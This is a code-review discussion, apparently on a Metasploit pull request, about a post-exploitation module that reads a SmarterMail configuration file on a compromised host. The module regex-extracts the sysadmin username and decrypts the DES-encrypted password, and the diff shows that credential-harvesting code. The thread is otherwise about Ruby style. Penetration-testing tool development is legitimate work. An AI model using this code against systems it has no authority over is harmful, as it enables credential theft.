You are using Class variables, I believe they should be avoided, try modifying the method to return a hash maybe with the values and check the returned values.

+  def get_smartermail_creds(path)
 +    vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password"
 +    begin
 +      data = read_file("#{path}") || ''
 +    rescue Rex::Post::Meterpreter::RequestError => e
 +      print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}"
 +      return
 +    end
 +    if data.nil?
 +      print_error "#{@host} (#{@comp}) - Configuration file is empty."
 +      return
 +    end
 +    @username = "#{$1}" if data =~ /(.+)<\/sysAdminUserName>/
 +    @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/
 +  end

Yeah makes sense. I was just being lazy. I'll change it to a hash.

[darkoperator]

You already specified in SessionTypes Meterpreter why check here for it again?

[bcoles]

Just copied and pasted for consistency. This is used by 9 other post modules. I'll remove it.

[darkoperator]

Yeah I have done the same but have noticed that some of the *-r7 guys are following more and more the Ruby Style guide that is why I mentioned it, could be a non issue but @jvazquez-r7 should point us in the right direction he is the one that introduced me to it :)

[darkoperator]

Again no need to use class variables should be avoided, sysinfo is available to all module methods so there is no need to save the information in one.

[bcoles]

That's true. The class variable makes it easier to read. I'll change it.

Made suggested changes in commit 62dca11:

• Rubocop now passes with 0 offences
• Class variables are no longer used
• Credentials are returned from get_smartermail_creds(path) in a hash
• Session type is no longer verified as 'meterpreter'

I'll be processing this before Monday comes, thanks.

Made some changes to make sure it supports shell sessions. Will be merged in a bit.

Demos (for both shell & meterpreter session types):
